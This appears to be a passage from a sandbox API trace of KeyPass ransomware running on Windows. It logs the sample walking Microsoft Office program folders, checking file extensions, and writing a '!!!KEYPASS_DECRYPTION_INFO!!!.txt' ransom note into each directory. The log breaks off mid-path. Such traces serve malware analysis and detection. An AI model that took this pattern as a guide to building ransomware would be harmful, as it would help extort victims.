[0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.578] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.16.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.16.en-us.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.16.xml") returned=".xml" [0243.579] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0243.579] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.579] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0243.579] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.579] GetLastError () returned 0x3f0 [0243.579] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.579] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ac [0243.580] GetFileType (hFile=0x5ac) returned 0x1 [0243.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0243.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0243.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0243.580] WriteFile (in: hFile=0x5ac, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.581] WriteFile (in: hFile=0x5ac, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0243.581] CloseHandle (hObject=0x5ac) returned 1 [0243.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0x2e79098 [0243.581] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.581] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.581] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.581] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.581] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0243.581] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.581] GetLastError () returned 0x3f0 [0243.581] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.581] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\client\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0243.595] GetFileType (hFile=0x5a4) returned 0x1 [0243.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0243.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0243.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0243.595] WriteFile (in: hFile=0x5a4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.596] WriteFile (in: hFile=0x5a4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0243.596] CloseHandle (hObject=0x5a4) returned 1 [0243.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79598 [0243.596] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned=".dll" [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned=".dll" [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned=".dll" [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned=".dll" [0243.597] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.597] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned=".dll" [0243.598] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned=".exe" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned=".exe" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned=".exe" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned=".dll" [0243.599] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned=".dll" [0243.600] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned=".dll" [0243.600] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.600] PathFindExtensionW (pszPath="C:\\Program 